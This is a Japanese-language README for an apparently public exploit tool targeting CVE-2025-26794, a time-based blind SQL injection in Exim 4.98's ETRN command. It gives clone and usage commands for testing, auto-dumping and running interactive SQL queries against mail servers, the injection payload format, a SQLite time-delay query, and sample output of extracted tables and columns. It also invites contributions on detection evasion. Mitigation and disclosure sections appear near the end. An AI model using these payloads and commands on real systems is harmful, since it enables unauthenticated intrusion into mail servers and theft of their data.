CVE-2025-26794: Exim ETRN SQLインジェクションエクスプロイト

CVE-2025-26794の概念実証エクスプロイトツール。SQLite DBMストレージ使用時にETRNコマンド経由でExim 4.98メールサーバーに存在するSQLインジェクションの脆弱性を示します。

⚠️ 法的免責事項

認可されたセキュリティテスト専用

このツールは、教育目的および認可されたペネトレーションテスト専用に提供されています。許可なくコンピュータシステムにアクセスすることは、以下の法律を含むさまざまな法律で違法となります：

• 米国のComputer Fraud and Abuse Act（CFAA）
• 英国のComputer Misuse Act
• その他の法域における類似の法律

自分が所有していないシステムをテストする前に、明示的な書面による許可が必要です。

作者および貢献者は、このツールの誤用または損害について一切の責任を負いません。

📋 脆弱性の概要

CVE-2025-26794 はExim 4.98のSQLインジェクション脆弱性であり、以下の場合に発生します：

• EximがSQLite DBMストレージで構成されている
• ETRNコマンドハンドラがシリアライズデータを処理する
• SQLクエリ構築前にユーザー制御入力のサニタイズが不十分

この脆弱性により攻撃者は以下が可能になります：

• メールサーバーデータベースから機密データを抽出
• 時間ベースのブラインドSQLインジェクション攻撃を実行
• データベース構造（テーブル、列、データ）を列挙

影響を受けるバージョン

• SQLite DBM構成のExim 4.98

攻撃ベクトル

• ネットワークアクセス可能なSMTPサービス（通常ポート25）
• 認証不要（認証前にETRNコマンドが利用可能）

🚀 機能

• 脆弱性テスト: ターゲットが脆弱かどうかを確認する自動チェック
• 時間ベースのブラインドSQLi: データ抽出にSQLiteの時間遅延テクニックを使用
• 二分探索の最適化: 文字単位の効率的な抽出
• 自動データベースダンプ: テーブル、列、サンプルデータを抽出
• 対話モード: カスタムSQLクエリを対話的に実行
• マルチモード運用: 柔軟な抽出戦略

📦 インストール

要件

• Python 3.6以上
• ターゲットSMTPサーバーへのネットワークアクセス

セットアップ

# Clone the repository
git clone https://github.com/XploitGh0st/CVE-2025-26794-exploit.git
cd CVE-2025-26794-exploit

# Install dependencies (none required - uses standard library only)
pip install -r requirements.txt

# Make script executable (Linux/Mac)
chmod +x exploit.py

💻 使用方法

基本構文

python3 exploit.py <target> [options]

クイック例

1. ターゲットが脆弱かテスト

python3 exploit.py 192.168.1.10 --test-only

2. 自動データベースダンプ

python3 exploit.py mail.example.com --auto-dump

3. 対話的SQLクエリモード

python3 exploit.py 10.0.0.5 --interactive

4. 特定のテーブル構造を抽出

python3 exploit.py 192.168.1.10 --table users --columns

5. カスタムSQLクエリを実行

python3 exploit.py 192.168.1.10 --query "SELECT sqlite_version()"

コマンドラインオプション

🔍 動作の仕組み

攻撃フロー

1. 接続: ターゲットサーバーへのSMTP接続を確立
2. ベースライン測定: 通常のETRNコマンドを送信して応答時間を測定
3. インジェクションテスト: 時間遅延SQLペイロードを送信して脆弱性を確認
4. データ抽出: 二分探索と時間ベースのブラインドSQLiを使用して文字ごとにデータを抽出

SQLインジェクションペイロード構造

ETRN #',1); <MALICIOUS_QUERY> /*

このペイロードはETRNシリアライズハンドラの不適切なサニタイズを悪用し、SQLiteクエリへのSQLインジェクションを可能にします。

時間ベースの検出

SQLite固有の時間遅延を使用：

SELECT 1 FROM tbl WHERE 1234=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))

条件が真の場合、測定可能な遅延（約1〜2秒）が発生します。

📊 出力例

╔═══════════════════════════════════════════════════════════╗
║     CVE-2025-26794: Exim SQLi Data Extraction Tool        ║
║                  FOR AUTHORIZED USE ONLY                  ║
╚═══════════════════════════════════════════════════════════╝

[*] Testing vulnerability...
[+] Normal response time: 0.123s
[+] Delayed response time: 1.456s
[!!!] VULNERABLE - Time difference: 1.333s

[*] Extracting table names...
[*] Extracting table 1...
[+] Extracted: users
[+] Found table: users

[*] Extracting columns from table 'users'...
[+] Found column: id
[+] Found column: username
[+] Found column: email

🛡️ 緩和策

SQLite DBMを使用してExim 4.98を実行している場合：

1. Eximを更新: パッチ適用済みバージョン（4.98.1以降）にアップグレード
2. 入力検証: 厳格なETRNコマンド検証を実装
3. パラメータ化クエリ: すべてのデータベース操作にプリペアドステートメントを使用
4. ファイアウォールルール: SMTPアクセスを信頼できるネットワークに制限
5. ETRNを無効化: 不要な場合はExim構成でETRNコマンドを無効化

🔧 技術詳細

二分探索アルゴリズム

エクスプロイトは二分探索を使用して効率的に文字を抽出します：

• ASCII表示可能範囲: 32〜126
• 文字あたりの平均クエリ数: 約7（log₂ 94）
• ネットワークトラフィックを最小限に最適化

使用されるSQLite関数

• unicode(): 文字のASCII値を取得
• substr(): 結果から部分文字列を抽出
• sqlite_master: スキーマ列挙用のシステムテーブル
• pragma_table_info(): 列メタデータの抽出

📚 参考情報

• CVE詳細: CVE-2025-26794
• Eximセキュリティアドバイザリ: [公式Eximアドバイザリ]
• OWASP SQLインジェクション: OWASPガイド

🤝 貢献

以下の分野での貢献を歓迎します：

• パフォーマンス最適化
• 追加の抽出テクニック
• 検出回避方法
• バグ修正と改善

すべての貢献には以下を含めてください：

• 明確なドキュメント
• 責任ある開示ガイドライン
• 法的使用に関する警告

📝 ライセンス

このプロジェクトは教育目的のみで公開されています。責任を持って合法的に使用してください。

👤 作者

XploitGh0st

• GitHub: @XploitGh0st

🙏 謝辞

• 責任ある脆弱性対応をしたExim開発チーム
• セキュリティ研究コミュニティ
• SQLite時間ベースインジェクション技術の研究者

⚖️ 責任ある開示

このツールを使用して脆弱性を発見した場合：

1. 詳細を直ちに公開しない
2. ベンダー/メンテナーに非公開で連絡する
3. パッチ適用に十分な時間を与える（通常90日）
4. 協調的な開示ガイドラインに従う

忘れないでください：大きな力には大きな責任が伴います。このツールを倫理的かつ合法的に使用してください。